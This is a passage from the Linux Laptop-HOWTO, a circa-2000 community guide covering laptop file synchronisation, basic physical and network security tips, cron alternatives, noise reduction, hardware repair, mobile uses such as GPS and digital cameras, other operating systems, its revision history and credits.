Although it is certainly not their main aim, version management software like CVS (Concurrent Version System) are a perfect tool when you work on several machines and you have trouble keeping them in sync (something which is often called "disconnected filesystems" in the computer science literature). Unlike programs like rsync, which are assymetric (one side is the master and its files override those of the slave), CVS accept that you make changes on several machines, and try afterwards to merge them. Assymetric tools are good only when you can respect a strict discipline, when you switch from one machine to another. On the contrary, tools like CVS are more forgetful.

To synchronize two or more machines (typically a desktop and a laptop), just choose a CVS repository somewhere on the network. It can be on one of the machines you want to synchronize or on a third host. Anyway, this machine should be easily reachable via the network and have good disks.

Then, cvs co the module you want to work on, edit it, and cvs commit when you reached a synch point and are connected. If you made changes on both hosts, CVS will try to merge them (it typically succeeds automatically) or give in and ask you to resolve it by hand.

The typical limits of this solution: CVS does not deal well with binary files, so this solution is more for users of vi or emacs than for GIMP fans. CVS has trouble with some Unix goodies like symbolic links.

For more information on CVS, see the Web page. The CVS documentation is excellent (in info format).

CODA Filesystem

The Coda File System is a descendant of the Andrew File System. Like AFS, Coda offers location-transparent access to a shared Unix file name-space that is mapped on to a collection of dedicated file servers. But Coda represents a substantial improvement over AFS because it offers considerably higher availability in the face of server and network failures. The improvement in availability is achieved using the complementary techniques of server replication and disconnected operation. Disconnected operation proven especially valuable in supporting portable computers http://www.coda.cs.cmu.edu/ .

WWWsync

This is a program written in Perl that will update your web pages by ftp from your local pages. This was originally written for updating Demon home-pages, but will work with other providers which provide direct FTP access to your web pages. I didn't check this for laptop purposes yet. You may get the program at http://www.alfie.demon.co.uk/wwwsync/ .

rsync

rsync is a program that allows files to be copied to and from remote machines in much the same way as rcp. It has many more options than rcp, and uses the rsync remote-update protocol to greatly speedup file transfers when the destination file already exists. The rsync remote-update protocol allows rsync to transfer just the differences between two sets of files across the network link.

Xfiles - file tree synchronization and cross-validation

Xfiles is an interactive utility for comparing and merging one file tree with another over a network. It supports freeform work on several machines (no need to keep track of what files are changed on which machine). Xfiles can also be used as a cross-validating disk <-gt; disk backup strategy (portions of a disk may go bad at any time, with no simple indication of which files were affected. Cross-validate against a second disk before backup to make sure you aren't backing up bad data).

A client/server program (GUI on the client) traverses a file tree and reports any files that are missing on the server machine, missing on the client machine, or different. For each such file, the file size/sizes and modification date(s) are shown, and a comparison (using Unix diff) can be obtained. For files that are missing from one tree, similarly named files in that tree are reported. Inconsistent files can then be copied in either direction or deleted on either machine. The file trees do not need to be accessible via nfs. Files checksums are computed in parallel, so largely similar trees can be compared over a slow network link. The client and server processes can also be run on the same machine. File selection and interaction with a revision control system such as RCS can be handled by scripting using jpython. Requirements Java1.1 or later and JFC/Swing1.1 are needed. Xfiles.

sitecopy

Sitecopy is for copying locally stored websites to remote web servers. The program will upload files to the server which have changed locally, and delete files from the server which have been removed locally, to keep the remote site synchronized with the local site, with a single command. The aim is to remove the hassle of uploading and deleting individual files using an FTP client. sitecopy .

KBriefcase

The KDE tool Kbriefcase tries to achieve a similar goal as the Windows briefcase, but in a different way. Rather than pulling your files from the desktop, they are pushed to the laptop. You drag a file from the local location to the briefcase. You are then asked for the remote path to copy it to. It will then copy the file to the remote location and make the original read-only. When you restore and remove, the file is copied back and write permissions are given back. The read-only status, of course, makes sure you don't start editing the file again before you've brought your changes back from the remote location.

10.4 Security in Different Environments

Introduction

I am not a computer security expert. Please read the Security-HOWTO for more information. I just collected some information below. Note, these means are just small steps to additional security, though I recommend that you use them.

LASG Please read Linux Administrator's Security Guide (LASG) - FAQ by Kurt Seifried.

Means of Security

  1. International Kernel Patch: The idea of the International Kernel Patch is to collect all crypto patches so that using crypto in the kernel will be easier than today. The patch includes a number of crypto patches including a crypto API including Blowfish, CAST-128, DES, DFC, IDEA, MARS, RC6, Rijndael, Safer, Serpent, and Twofish, an encrypted filesystem loopback device using the crypto API, CIPE VPN and EnSKIP patches.
  2. Kennsington Lock: AFAIK proprietary lock solution with different laptops http://www.kennsington.com
  3. SmartCards: by DESKO http://www.desko.de are not available for Linux yet. The only available laptop with a SmartCard builtin is the Siemens Scenic Mobile 800.
  4. User passwords: can be easily bypassed if the intruder gets physical access to your machine
  5. BIOS passwords: are also easily crackable, though sometimes harder than with desktops
  6. Name plates: to reduce the possibility of theft, you may want to have a nameplate made and affixed to the cover of the laptop. A nice one will cost you about $12, and can be made by any good trophy shop. They'll glue it on for you too. You could use double-sided tape instead, but glue is more permanent. You may even make an engravement into the laptop cover.
  7. Boot loader: a boot loader may be used to put your name and phone number (or whatever text you choose) into the boot sequence before the operating system is loaded. This provides a label that can't be removed by editing files or even doing a simple format of the harddisk.
  8. Antivirus policy: I have seen an antivir RPM somewhere. Check the BIOS for an option to disable writing at the boot sector.
  9. Database of stolen laptops: I have provided a survey of databases for stolen laptops.
  10. Laptop as a security risk itself: Since a laptop can easily be used to intrude a network, it seems a good policy to ask the system administrator for permission before connecting a laptop to a network.
  11. Secure Protocol: When connecting to a remote server always use a secure protocol.

10.5 Dealing with Down Times (Cron Jobs)

A cron-like program that doesn't go by time: anacron (like "anac(h)ronistic") is a periodic command scheduler. It executes commands at intervals specified in days. Unlike cron, it does not assume that the system is running continuously. It can therefore be used to control the execution of daily, weekly and monthly jobs (or anything with a period of n days), on systems that don't run 24 hours a day. When installed and configured properly, anacron will make sure that the commands are run at the specified intervals as closely as machine-uptime permits.

hc-cron This program is a modified version of Paul Vixie's <paul@vixie.com> widely used cron daemon. Like the original program it runs specified jobs at periodic intervals. However, the original crond relies on the computer running continuously, otherwise jobs will be missed. This problem is addressed by hc-cron, that is indended for use on home-computers that are typically turned off several times a day; hc-cron will remember the time when it was shut down and catch up jobs that have occurred during down time when it is started again. Felix Braun <fbraun@atdot.org> is the author of the programm, it is available at http://metalab.unc.edu /pub/Linux/system/daemons/cron .

10.6 Noise Reduction

Due to the proliferation of cellular phones and walkmans it's not quite common in our days to take care of a quiet environment. Anyway I want to give some recommendations for the polite ones.

Console (Shell) and X

For the console setterm -blength 0 and for X xset b off turns the bell off. See also PCMCIA-HOWTO, and much more details in the Visible-Bell-mini-Howto by Alessandro Rubini.

PCMCIA

When starting your laptop with PCMCIA-CS configured correctly, this will be shown by two high beeps. If you want to avoid this put CARDMGR_OPTS="-q" into the PCMCIA configuration file, e.g. /etc/pcmcia.conf for Debian/GNU Linux.

To avoid the dialtones during the modem dialing add

     module "serial_cs" opts "do_sound=0"

to /etc/pcmcia/config.opts (from man serial_cs). This will disable speaker output completely, but the ATM command should let you selectively control when the speaker is active.

Miscellaneous Applications

You may configure vi with the flash option, so it will use a flash in case of an error, instead of a bell.

For at least one laptop series, the Toshiba models, there seems to be a Linux package available to control the fan and other features.


Linux Laptop-HOWTO: Other Resources

 Next Previous Contents

11. Other Resources

Kenneth E. Harker maintains a quite valuable database at http://www.cs.utexas.edu/users/kharker/linux-laptop/ . Please have a look at his site to get current information about laptop related mailing lists, newsgroups, magazines and newsletters, WWW sites and a big database about many different laptop pages.

To join the linux-laptop@mobilix.org mailing list visit the subsription page at http://mobilix.org/mobilix_ml.html. There you may also find the list archiv.

To join the other Linux-Laptop-Mailing-List write a mail to <majordomo@vger.kernel.org> with subscribe linux-laptop in the subject. You will get a confirmation message than, which you have to reply accordingly. As far as I know there is no list archiv.

There is now a debian-laptop mailing list. Any questions or discussions concerning running the Debian/GNU Linux operating system(s) on laptops are welcome. Send mail to <debian-laptop-request@lists.debian.org> with a subject of subscribe. Or visit the http://www.debian.org site and use the online form.

Also recently founded was Running Linux on IBM ThinkPads, to join send an email to linux-thinkpad-subscribe@topica.com, to post send mail to linux-thinkpad@topica.com . See http://www.topica.com/lists/linux-thinkpad/.

Lionel, "trollhunter" Bouchpan-Lerust-Juery, <trollhunter@linuxfr.org> has written a similar HOWTO, please look at his laptop pages http://infonomade.linuxfr.org/index.html (French version) http://infonomade.linuxfr.org/indexen.html (English version).

Newsgroups are comp.os.linux.portable, comp.sys.laptops .


Linux Laptop-HOWTO: Repairing the Hardware

 Next Previous Contents

12. Repairing the Hardware

There are several different reasons that could make it necessary to open the case of a laptop.

  1. repairing broken hardware
  2. get some hardware info, which isn't available otherwise
  3. remove the speakers (speakerrektomie, as described in Visual-Bell-mini-HOWTO)
  4. install overdrive for CPU
  5. change BIOS battery
  6. upgrade harddisk
  7. upgrade memory

Repairing a laptop can be quite expensive if you don't have a manufacturer's warranty. Sometimes professional support is bad. But opening a laptop case can be difficult. Often the procedures to upgrade the memory and the harddisk are described in the manual. For further details, you should try to get the maintainance/technical manual. Just be extremely careful and make notes as to where each screw goes. You must get most of them back in the right hole or you could ruin the machine by damaging the system board. Also after you get all the screws to an assembly out (some will be hidden) the parts are usually held together with plastic clips molded in, so you still must exercise care to separate them. Sometimes you need certain tools, for instance TORX screw drivers or a solder kit. Good luck.

WARNING: Usually laptop manufacturers declare the warranty to be void if the case was opened by people other than their own staff.


Linux Laptop-HOWTO: Solutions with Laptops

 Next Previous Contents

13. Solutions with Laptops

13.1 Introduction

The power and capabilities of laptops are sometimes limited as described above. But in turn, they have a feature which desktops don't have, their mobility. I try to give a survey about applications which make sense in connection with laptops. Since I couldn't try all of them, there is currently little documentation. If you can provide further material, please contact me.

13.2 Mobile Network Analyzer

I'm not an expert in this field, so I just mention the tools I know. Please check also for other applications. Besides the usual tools tcpdump, netcat, there are two applications I prefer, which may be used to analyze network traffic:

The Multi Router Traffic Grapher (MRTG) is a tool to monitor the traffic load on network-links. MRTG generates HTML pages containing GIF images which provide a LIVE visual representation of this traffic. Check http://www.ee.ethz.ch/stats/mrtg/ for an example. MRTG is based on Perl and C and works under UNIX and Windows NT.

Network Top - ntop http://www-serra.unipi.it/~ntop/ is a Unix tool that shows the network usage, similar to what the popular top Unix command does. ntop is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform and on Win32 as well. ntop can be used in both interactive or web mode. In the first case, ntop displays the network status on the user's terminal. In web mode a web browser (e.g. netscape) can attach to ntop (that acts as a web server) and get a dump of the network status. In the latter case, ntop can be seen as a simple RMON-like agent with an embedded web interface.

13.3 Mobile Router

Though designed to work from a single floppy, the Linux Router Project (LRP) , seems useful in combination with a laptop, too.

13.4 Hacking and Cracking Networks

When thinking about the powers of laptops, hacking and cracking networks may come into mind. Though I don't want to handle this topic here, but instead recommend the Security-HOWTO.

13.5 Lectures

If you are giving lectures, readings or presentations in different places, a laptop might suit your needs. You can combine it with an overhead display, a beamer or a second monitor. For a second monitor or a beamer make sure it is supported by your laptop.

Though Microsoft's PowerPoint is often used for such things, there are also Linux solutions:

  • pdftex creates PDF files from Tex files, which can be used toghether with certain LaTeX pakcages for presentations, see the example screen designed users manual.
  • The Web and Exerquiz Packages also a sophisticated method to create presentations with LaTex.
  • PPower
  • Dia is a program for creating diagrams of all kinds. The current version can do UML class diagrams, Entity-Relationship modeling, network diagrams, and much more. The engine is very flexible and dynamically loads diagram-types from disk. It can currently export to postscript and load/save in an xml format.
  • See also the software maps at KDE (K-Office) http://www.kde.org for the program KPresenter and others. And GNOME http://www.gnome.org/ .
  • MagicPoint or mgp, is an X11-based presentation tool. The home page is http://www.Mew.org/mgp or ftp://ftp.Mew.org/pub/MagicPoint/ or http://jiji.mew.org/mgp/ .
  • Commercial packages are: Applixware http://www.applix.com/appware/linux/slideshow/gfx011.html and Staroffice, see article 15 in LinuxFocus http://vesta.astro.amu.edu.pl/Library/Linux/LinFocus/May1998/.

13.6 Mobile Data Collecting

Related HOWTOs

  1. Coffee-mini-HOWTO
  2. AX-25-HOWTO
  3. HAM-HOWTO
  4. Serial-HOWTO
  5. Serial-Programming-HOWTO

Applications

A Linux laptop can be used to collect data outside an office, e.g. geodesy data, sales data, network checks, patient data in a hospital and others. There is support for wireless data connections via cellular phone modems and amateur radio. I am not sure whether PCMCIA radio cards are supported, see Aironet Wireless Communications http://www.aironet.com/.

Specific Environments

There are laptops available with cases build for a rugged environment (even waterproof laptops). In some environments, for instance in hospitals, take care of the Electro-Magnetic-Compatibility of the laptop. This is influenced by many factors, for instance by the material used to build the case. Usually magnesium cases shield better than the ones made of plastics.

13.7 Mobile Office

With KDE http://www.kde.org (K-Office), GNOME, http://www.gnome.org/ and the commercial products WordPerfect, Staroffice and Applixware http://www.applix.com/ Linux has more and more business software applications. With the corresponding hardware, e.g. a portable printer and a cellular phone which connects to your laptop, you will have a very nice mobile office.

13.8 Connection to Digital Camera

AFAIK there are currently three methods to connect a digital camera to a laptop: the infrared port (IrDA), serial port and maybe USB. There are also some auxiliary programs for conversion of pictures, etc.

Eric <dago@tkg.att.ne.jp> wrote: "I finally succeeded in downloading pictures from my digital camera, but not exactly the way I expected, i.e. not through USB port but using pcmcia card port and memory stick device, part of digital camera hardware. Anyway, some interesting things to mention:

Sony (pretending using a standard) uses the msdos format to store images as JPEG files ; so the best way to have your OS recognizing them is to mount the raw device like a msdos filesystem; using mount directly doesn't work (don't know why) but an entry in the /etc/fstab file allows you to mount the device correctly. i.e.:

        /dev/hde1    /mnt/camera    msdos     user,noauto,ro    0    0
Of course, newfs before mount works too, but there is nothing to see at all ;-) I think both noauto and ro are important flags; I tried without it and it didn't work. Somehow the mount I got seems buggy . And if ro is missing, the camera doesn't recognize back the memory stick and it needs to be msdos-formatted.

According to the camera documentation , both pcmcia and USB port behave the same (for Mac and Windoze - i.e. you see a file system auto mounted) - I deduce for Linux it should be the same thing too, as long as the USB driver is installed. I think now that mounting USB raw device the way I did with pcmcia should work, but I still couldn't find which device to use."

OpenDiS (Open Digita Support) is a library and utility program for cameras such as the Kodak DC-220, DC-260, DC-265, and DC-280, that run Flashpoint's Digita operating system. The library is a unix implementation of the Digita Host Interface Specification, intended for embedding Digita support in other products such as gPhoto. The utility is a simple command-line program for standalone downloading of photos from the cameras.

gPhoto enables you to take a photo from any digital camera, load it onto your PC running a free operating system like GNU/Linux, print it, email it, put it on your web site, save it on your storage media in popular graphics formats or just view it on your monitor. gPhoto sports a new HTML engine that allows the creation of gallery themes (HTML templates with special tags) making publishing images to the world wide web a snap. A directory browse mode is implemented making it easy to create an HTML gallery from images already on your computer. Support for the Canon PowerShot A50, Kodak DC-240/280 USB, and Mustek MDC-800 digital cameras.

photopc is is a library and a command-line frontend to manipulate digital still cameras based on Fujitsu chipset and Siarra Imaging firmware. The program is known to work with Agfa, Epson and Olympus cameras. Should also work with Sanyo, but this is untested. The cameras typically come with software for Windows and for Mac, and no description of the protocol. With this tool, they are manageable from a UNIX box. Bruce D. Lightner <lightner@metaflow.com> has added support for Win32 and DOS platforms. Note that the program does not have any GUI, it is plain command-line even on Windows. For a GUI, check out the phototk program.

13.9 Connection to QuickCam (Video)

AFAIK there are currently two methods to connect a video camera to a laptop: a ZV port and maybe USB, but I don't know how this works with Linux. I have heard rumors about using a sound card for video data transfer to a Linux box, see http://worldvisions.ca/~apenwarr/ . I have heard rumors about a Linux-QuickCam-mini-HOWTO, but couldn't find a reliable URL yet. Check the sane package which is build for scanner support, this should contain support for still-grabbers as well.

kmc_remote provides a graphical interface for controlling Kodak Motion Corder fast digital cameras over a serial connection. kmc_remote is built on the kmc_serial library, part of the kmc_utils package. kmc_remote provides a virtual button panel and simple one-touch commands for changing system variables which would involve multiple button operations on the real camera button console. Buttons, record settings (image size, record rate, shutter speed, trigger mode, burst mode), and playback rate control should be fully functional. All camera models are supported, as well as both PAL and NTSC video.

Intel PC Camera Pro Pack is one of the first webcams with USB ports. Also SONY has announced a webcam with USB port. See a survey at Steve's Digicams.

13.10 Connection to Television Set

If you have a ZV port in the laptop, it should be easy to connect it to a TV set, using either NSCA or PAL, but I don't know whether either works with Linux.

13.11 Connection to Cellular Phone

AFAIK there are two methods to connect a cellular phone to a laptop: via the infrared port (IrDA) or via the serial port. See the Linux/IrDA project for the current status of IrDA connections. AFAIK only the Ericsson SH888, the Nokia 8110 and the Siemens S25 provide infrared support.

13.12 Connection to Global Positioning System (GPS)

From the Hardware-HOWTO I know there is Trimble Mobile GPS available. You may also connect a GPS via a serial port. Most GPS receivers have a data port and can connect to a PC with a special serial cable.

  • dgpsip provides correct GPS location with DGPS signal from internet.
  • gpsd is a daemon that listens to a GPS or Loran receiver and translates the positional data to simplified format that can be more easily used by other programs, like chart plotters. The package comes with a sample client that plots the location of the currently visible GPS satellites (if available) and a speedometer. Added support for the DeLame EarthMate as well as a new 'speedometer' mini client.
  • The QtGPS package contains a piece of software for Unix/Linux/X and a GPS receiver. It performs logging and replaying of a journey, supporting a moving-map display. QtGPS works with Lat/Long and British OSGB (Ornance Survey) co-ordinate systems.
  • GRASS (Geographic Resources Analysis Support System) is a free software raster and vector based GIS, image processing system, graphics production system, and spatial modeling system.

13.13 Connection via Amateur Radio (HAM)

AFAIK laptops are used in HAM contests. Please see HAM-HOWTO by Terry Dawson, VK2KTJ, <terry@perf.no.itg.telstra.com.au> .

13.14 Satellite Watching

Together with an antenna and software like seesat or sattrack you can use a laptop to locate a satellite for visual observation. You could also use xephem on a laptop when stargazing.

13.15 Aviation

Many people are using laptops for aviation related topics. The Aviation HOWTO is an FAQ, HOWTO like document that provides pointers to software packages that run under the Linux operating system and are useful to private, commercial, or military pilots. The ultimate goal is to enable pilots to use the Linux operating system for all their aviation related computing needs.

13.16 Blind or Visually Impaired Users

There are some groups of which could gain a specific profit by using laptops. For instance blind or visually impaired people (I explicitly avoid to say handicapped people). See ACCESS-HOWTO and Blinux - Linux for blind people for more information. BRLTTY is a program which supports different braille terminals. Festival is a speech synthesis system. Screen and cursor magnifiers are available.


Linux Laptop-HOWTO: Other Operating Systems

 Next Previous Contents

14. Other Operating Systems

14.1 DOS/Windows9x/NT

Introduction

Unfortunately, there are a few reasons which might make it necessary to put DOS/Windows and Linux together on one laptop. Often the support for the flash ROM of PCMCIA cards and modems is not available for Linux, or you have to retrieve hardware information, which is not visible with Linux, due to a lack of support by some hardware manufacturers. I'm not sure wether this tasks can be achieved under an emulation like DOS-EMU or WINE.

If you want Linux with X, Netscape, etc., and Windows95, things will be tight in a 1GB harddisk. Though I do so with a 810MB disk.

DOS Tools to Repartition a Hard Disk

Often you get a preinstalled version of Windows on your laptop. If you just want to shrink the Windows partition, you need a tool to resize the partition. Or you can remove the partition first, repartition, then reinstall. Most of the following information I found at the page of Michael Egan <Michael.Egan@sonoma.edu> at http://libweb.sonoma.edu/mike/fujitsu/ .

A well known and reliable, but commercial product is Partition Magic http://www.powerquest.com/product/pm/index.html from Power Quest.

Many people have used FIPS 15c (which may support FAT-32) http://bmrc.berkeley.edu/people/chaffee/fips/fips.html for repartitioning FAT partition sizes.) Also, another version from a different source is FIPS 2.0 (claims to support FAT-32) http://www.igd.fhg.de/~aschaefe/fips/ for repartitioning FAT partition sizes.)

One more "newer" utility for repartitioning and resizing FAT partitions is Ranish Partition Manager/Utility (FAT-32 support is claimed for this as well, Linux support is taken into account.) http://www.users.intercom.com/~ranish/part/ .

Partition Sharing

You may share your swap space between Linux and Windows. Please see "Dealing with Limited Resources" section. Also with Linux you can mount any kind of DOS/Windows partition. The other way round there are also some tools, for instance at http://uranus.it.swin.edu.au/~jn/linux/ , which provides a tool to read and write ext2 partitions from Windows9x/NT.

Also you can mount DOS drives of the type msdos, vfat and even compressed drives (Drivespace, etc.). For long file names use vfat and if you like autoconversion ( a nice feature for text files), you may do so by using the conv=auto option. I have used this in my /etc/fstab, but be aware this might cause some strange behaviour sometimes, look at the kernel docs for further details.

/dev/hda8    /dos/d    vfat    user,exec,nosuid,nodev,conv=auto    0    2

Installation without CD Drive

You may use the CD drive of a desktop (or copy the content of the CD to the hard disk) and connect both machines with a nullmodem cable. Than use a DOS boot floppy and the program INTERLNK.EXE to connect both machines.

Miscellaneous

http://www.travsoft.com

Windows/NT offers: RAS - Remote Access Service

Windows/9x/NT offers the PPTP protocol to connect to remote sites via a TCP/IP tunnel. This protocol is also supported by Linux. PoPToP is the PPTP server solution for Linux allowing Linux servers to function seamlessly in the PPTP VPN environment. This enables administrators to leverage the considerable benefits of both Microsoft clients and Linux servers. The current pre-release version supports Windows 95/98/NT PPTP clients and PPTP Linux clients. The PoPToP pre-release server is not yet fully optimised. On release, PoPToP will be fully compliant with IETF PPTP Internet Draft and it will seamlessly support Windows PPTP clients with the full range of encryption and authentication features.

14.2 BSD Unix

  1. PicoBSD is a one floppy version of FreeBSD 3.0-current, which in its different variations allows you to have secure dialup access, small diskless router or even a dial-in server. And all this on only one standard 1.44MB floppy. It runs on a minimum 386SX CPU with 8MB of RAM (no HDD required!). You probably may also use it to install BSD on a laptop as described with micro Linuxes above. You get PicoBSD at http://www.freebsd.org/~picobsd/
  2. PAO: FreeBSD Mobile Computing Package FreeBSD is a version of the UNIX operating system that runs on PC hardware. It uses a different set of support for PCMCIA devices, APM, and other mobility related issues.
  3. The CMU Monarch Project Implementations of Mobile-IPv4 and Mobile-IPv6 for FreeBSD
  4. XF86Config Archive. A database of XF86Config files used by Linux and FreeBSD users. If you need an XF86Config file for your notebook or laptop, check out this site. (Some documents available in Japanese only.)
  5. AFAIK there is no IrDA support yet.

14.3 OS/2

At The Notebook/2 Site by Dr. Martinus you may find information about different notebooks and PCMCIA cards working with OS/2.

14.4 NOVELL Netware

The client side with DOS/Windows9x style operating systems seems to be no problem, since there are many PCMCIA cards with drivers for Netware available. For Linux connections see the mars_nwe package. Also the Caldera Linux distribtion is well known for its Novell support.

I hadn't time to build a Netware server on a laptop yet and couldn't check wether there are network connections possible (PCMCIA driver for Netware server).

14.5 Debian GNU/Hurd (hurd-i386)

The GNU Hurd is a totally new operating system being put together by the GNU group. In fact, the GNU Hurd is the final component which makes it possible to built an entirely GNU OS -- and Debian GNU/Hurd is going to be one such (possibly even the first) GNU OS. The current project is founded on the i386 architecture, but expect the others to follow soon.

The GNU Hurd Hardware Compatibility Guide states that Hurd should work on laptops, but PCMCIA support isn't ready yet.


Linux Laptop-HOWTO: ToDo

 Next Previous Contents

15. ToDo

  1. mention the corresponding kernel options in the Linux Compatibility Check sections
  2. write more Hardware sections


Linux Laptop-HOWTO: Revision History

 Next Previous Contents

16. Revision History

v0.1 13 January 1999, first draft

v0.2 15 January 1999, minor changes

v0.3 28 January 1999, APM chapter started, minor changes

v0.4 8 February, APM chapter rewritten, removed some lint

v0.5 17 February 1999, added small USB chapter, added Dealing with Limited Resources chapter, added Solutions with Laptops chapter, minor editorial changes, released draft to the public

v1.0 19 February 1999, added Sound and Keyboard chapter, minor changes, release to the LDP

v1.1 28 February 1999, spelling, grammar, style checked and many additional information added by W. Wade Hampton, added CD Drive, Harddisk and Kernel chapters, many minor changes

v1.2 5 March 1999, added Debian-Laptop-Mailing-List, added information about apmcd and suspendd to APM chapter, changed some URLs, minor changes

v1.3 8 March 1999, minor changes

v1.4 25 March 1999, added ACPI information, added chapters Appendix C - NeoMagic Chip NM20xx by Cedric Adjih and Appendix D - Annotated Bibliography , minor changes

v1.5 4 April 1999, added chapters about setting up E-Mail by Peter Englmaier and Noise Reduction, minor changes

v1.6 26 June 1999, rewrite of APM chapter, added install method via LapLink cable, URLs changed or added, spell checking, minor changes

v1.7 28 September 1999, changed <htmlurl ..> SGML tags to <url ..>, ACPI chapter separated, touchpad chapter separated and improved, preface rewritten, added information about divine, noflushd and parted, new chapter Linux Tools to Repartition a Hard Disk, added appendix E about specific laptops, some URLs updated, minor changes

v2.0 2 October 1999, added information about gphoto, kmc_utils, Memory Technology Devices and HUT Mobile IP; changed structur of document (moved chapters Accessories, Laptop Distribution and chapter about partitioning), new DVD chapter, started Aviation chapter, started OS/2 chapter, started Blind and Visually Impaired Users chapter, changed entity &tilde; in URLs to ~ to improve SGML-Tools PS output (otherwise ~ is missing), link to new Lucent WinModem driver, minor additions and changes

v2.1 2 November 1999, added information about email with UUCP, the use of CVS and other tools to synchronize two machines, the noatime mount option, GPS systems, presentation tools, and hard disk form factors, started chapter about the Hurd, changed URL of PCMCIA-CS package and LDP, reworked credits chapter, reworked APM chapter, minor changes

v2.2 2 December 1999, reorganized the chapters about Cellular Phones, Pagers, Calculators, Digital Cameras, Wearable Computing and Noise Reduction, many minor changes and bug fixes

v2.2a 3 November 2000, links updated


Linux Laptop-HOWTO: Credits

 Next Previous Contents

17. Credits

I would like to thank the many people who assisted with corrections and suggestions. Their contributions have made this work far better than I could ever have done alone. Especially I would like to thank, in order of appearance:

  • First of all Kenneth E. Harker <kharker@cs.utexas.edu>, from his page Linux on Laptops I have included much material into this HOWTO, but didn't always quote him verbatim.
  • The other HOWTO authors from the LINUX DOCUMENTATION PROJECT - LDP.
  • The members of the Linux/IrDA Project.
  • The members of the Linux-Laptop Mailing List.
  • The members of the Debian-Laptop Mailing List.
  • The visitors and contributors of my MobiliX pages.
  • David Hinds, the maintainer of the PCMCIA-CS package.
  • Frank Schneider <SPATZ1@T-ONLINE.DE>.
  • Stefan Martig <martig@iamexwi.unibe.ch>.
  • Michele Andreoli, maintainer of muLinux.
  • Klaus Franken <kfr@klaus.franken.de>.
  • W. Wade, Hampton <whampton@staffnet.com>, did much of spell, grammar and style checking and added many valuable information.
  • Anderson MacKay <mackay@rice.edu>, RLUG - Rice University Linux User Group , gave many different detailed recommendations.
  • Sean 'Shaleh' Perry, <shaleh@livenet.net>, Debian maintainer of anacron and other packages, for Debian support.
  • Bob Toxen <bob@cavu.com>.
  • Peter Sprenger <spre@lugs.ch>.
  • Felix Braun <fbraun@atdot.org>.
  • Steve Rader <rader@wiscnet.net>.
  • Richard Worwood <richard@felch01.demon.co.uk>, for mirroring of the HOWTO.
  • Marcel Ovidiu Vlad <marceluc@leland.Stanford.EDU>.
  • Ludger Berse <lberse01@cityweb.de>.
  • Cedric Adjih <cedric.adjih@inria.fr>, wrote the chapter about the NeoMagic chipset.
  • Peter Englmaier <ppe@pa.uky.edu>, provided the chapter about a sophisticated email setup.
  • Michael Wiedmann <mw@miwie.in-berlin.de>, PIA - X11 based PalmPilot Address Manager , found many spelling errors and more.
  • Adam Spiers <adam@thelonious.new.ox.ac.uk>.
  • Lionel, "trollhunter" Bouchpan-Lerust-Juery, <trollhunter@linuxfr.org>, for providing the French translation and information about wearables .
  • Nathan Myers <ncm@linuxlaptops.com>, from LL - LinuxLaptops for numerous additions.
  • Ben Attias <hfspc002@csun.edu>.
  • Igor Pesando <ipesando@to.infn.it>.
  • Geert Van der Plas <Geert.VanderPlas@esat.kuleuven.ac.be>, provided information about the touchpad driver included in the GPM.
  • Chandran Shukla <chandran@xmission.com>.
  • Harald Milz <hm@suse.de>, from SuSE provided numerous additions.
  • Ingo Dietzel <ingo.dietzel@berlin.snafu.de>, for his patience with the project.
  • Emerson, Tom # El Monte <TOMEMERSON@ms.globalpay.com>, for his idea about laptop bags.
  • Thomas Traber <traber@inetmail.de>.
  • Bill Gjestvang <datawolf@ibm.net>.
  • Leandro Noferin <lnoferin@cybervalley.org>, for proofreading the italian parts.
  • Stephane Bortzmeyer <stephane@sources.org> for his suggestions about email with UUCP, the use of CVS or related tools to synchronize two machines, and the noatime mount option.
  • Peter Teuben <teuben@astro.umd.edu>, for some suggestions about hard disks.
  • Guido Germano <guido@germano.com>, for information about the Macintosh Powerbook 145B.
  • Joel Eriksson <joel.eriksson@alfa.telenordia.se>, for information about Atari laptops.
  • Gilles Lamiral <lamiral@mail.dotcom.fr> for providing the PLIP Install-HOWTO.
  • Alessandro Grillo <Alessandro_Grillo@tivoli.com>, started the Italian translation.
  • Gledson Evers <pulga_linux@bol.com.br>, started the Portuguese translation.
  • Dan Kegel <dank@alumni.caltech.edu>, pointed me to the Toshiba Linux page.
  • Jaime Robles <ea4abw@amsat.org>, gave me some information about the HAM-HOWTO.
  • LuftHans <LuftHans@asu.edu>, announced this HOWTO to the maintainer of the Hardware-HOWTO.
  • Jari Malinen <jtm@mart2.cs.hut.fi>, for support with HUT Mobile IP.
  • John Beimler <john@radiomind.com>, provided the URL of photopc.
  • Steven G. Johnson <stevenj@MIT.EDU>, provided the information about Apple/Macintosh m86k machines.
  • Ulrich Oelmann <ulrich.oelmann@tu-clausthal.de>, gave valuable additions about the installation with muLinux.
  • Lucio Pileggi <lucio@ing.unipi.it>, provided information about the Siemens S25 cellular phone.
  • Eric <dago@tkg.att.ne.jp> wrote how to transfer pictures from a digital camera.
  • Sorry, but probably I have forgotten to mention everybody who helped.


Linux Laptop-HOWTO: Appendix A - Survey about Micro Linuxes

 Next Previous Contents

18. Appendix A - Survey about Micro Linuxes

Because of their small or non-existent footprint, micro-Linuxes are especially suited to run on laptops -- particularly if you use a company-provided laptop running Windows9x/NT. Or for installation purposes using another non Linux machine. There are several micro Linux distributions out there that boot from one or two floppies and run off a ramdisk.

See http://www.linuxhq.com or http://www.txdirect.net/users/mdfranz/tinux.html for details. You may find a FAQ and a mailing list about boot-floppies at http://os.inf.tu-dresden.de/~sr1/boot-floppies/faq.html . Also a BootDisk-HOWTO is available. Thanks to Matthew D. Franz maintainer of Trinux for this tips and collecting most of the following URLs. See also the content of Console/Mini Distributions at FreshMeat.

  1. MuLinux by Michele Andreoli
  2. tomsrtbt http://www.toms.net/~toehser/rb/ "The most Linux on one floppy. (distribution or panic disk)." by Tom Oehser
  3. Trinux http://www.trinux.org "A Linux Security Toolkit" by Matthew D. Franz
  4. LRP "Linux Router Project" http://www.psychosis.com/linux-router/
  5. hal91 http://home.sol.no/~okolaas/hal91.html
  6. floppyfw http://www.zelow.no/floppyfw/ by Thomas Lundquist
  7. minilinux http://alberti.crs4.it/softw are/mini-linux/ (seems no more valid) or http://www.kiarchive.ru/pub/linux/mini-linux/
  8. monkey http://www.spsselib.hiedu.cz/monkey/docs/english.htm
  9. DLX http://www.wu-wien.ac.at/usr/h93/h9301726/dlx.html by Erich Boem
  10. C-RAMDISK http://metalab.unc.edu/pub/Linux/kernel/images/
  11. BABEL http://celsius-software.hypermart.net/babel/ "A mini-distribution to run games"
